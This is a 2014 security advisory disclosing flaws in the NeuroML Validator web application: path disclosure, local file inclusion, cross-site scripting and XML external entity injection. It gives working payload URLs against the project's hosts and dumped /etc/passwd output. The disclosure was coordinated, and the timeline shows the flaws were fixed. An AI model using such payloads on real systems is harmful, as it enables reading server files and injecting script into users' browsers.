############################################################# # # COMPASS SECURITY ADVISORY # http://www.csnc.ch/en/downloads/advisories.html # ############################################################# # # Product: neuroML # Version: <=v1.8.1 (Confirmed: v1.8.1) # Vendor: neuroML.org # CSNC ID: CSNC-2014-004 # CVD ID: # Subject: Multiple Vulnerabilities # Risk: High # Effect: Remotely exploitable # Author: Philipp Promeuschel # Date: 10.10.2014 # ############################################################# Abstract: ------------- The NeuroML project focuses on the development of an XML (eXtensible Markup Language) based description language that provides a common data format for defining and exchanging descriptions of neuronal cell and network models. The current approach in the project uses XML schemas to define the model specifications.[0] Affected: --------- Vulnerable: neuroML version 1.8.1 Not tested: Other versions of neuroML Technical Description: ---------------------- The NeuroML Validator, can be used to check the validity of NeuroML files. [Full Path Disclosure]: http://www.neuroml.org/NeuroMLValidator/Transform.jsp?localFile=NeuxroMLFiles/Schemata/v1.8.1/Level1/Metadata_v1.8.1.xsd&xslFile=x Example output: Unable to locate file /var/lib/tomcat7/webapps/NeuroMLValidator/x [Local File Inclusion]: http://www.neuroml.org/NeuroMLValidator/ViewNeuroMLFile.jsp?localFile=../../../../../etc/passwd Example output: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin [Cross Site Scripting]: http://www.neuroml.org/NeuroMLValidator/Transform.jsp?localFile=&xslFile=x%3Cimg%20src=%27s%27%20onError=%27alert%281%29;%27%3E http://www.neuroml.org/NeuroMLValidator/Validation.jsp?pastedFile=XSS%3C/textarea%3Ex%3Cimg%20src=%27s%27%20onError=%27alert%281%29;%27%3E [XML External Entities]: http://www.morphml.org:8080/NeuroMLValidator/Transform.jsp?pastedFile=%2B%253C%2521DOCTYPE%2Bfoo%2B%255B%2B%2B%250D%250A%2B%2B%2B%253C%2521ELEMENT%2Bfoo%2BANY%2B%253E%250D%250A%2B%2B%2B%253C%2521ENTITY%2Bxxe%2BSYSTEM%2B%2522file%253A%252F%252F%252Fetc%252Fpasswd%2522%2B%253E%255D%253E%253Cfoo%253E%2526xxe%253B%253C%252Ffoo%253E&xslFile=NeuroMLFiles%2FSchemata%2Fv1.8.1%2FLevel1%2FMorphML_v1.8.1_GENESIS.xsl Example output: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin Used XML: ]>&xxe; Timeline: --------- 2014-05-04: Discovered Flaws 2014-05-05: Contacted Developer 2014-05-05: Developer Response 2014-05-28: Developer fixed all issues 2014-10-10: Disclosure of the advisory References: ----------- [0] http://www.neuroml.org/introduction [1] http://blog.csnc.ch/2012/08/secure-xml-parser-configuration/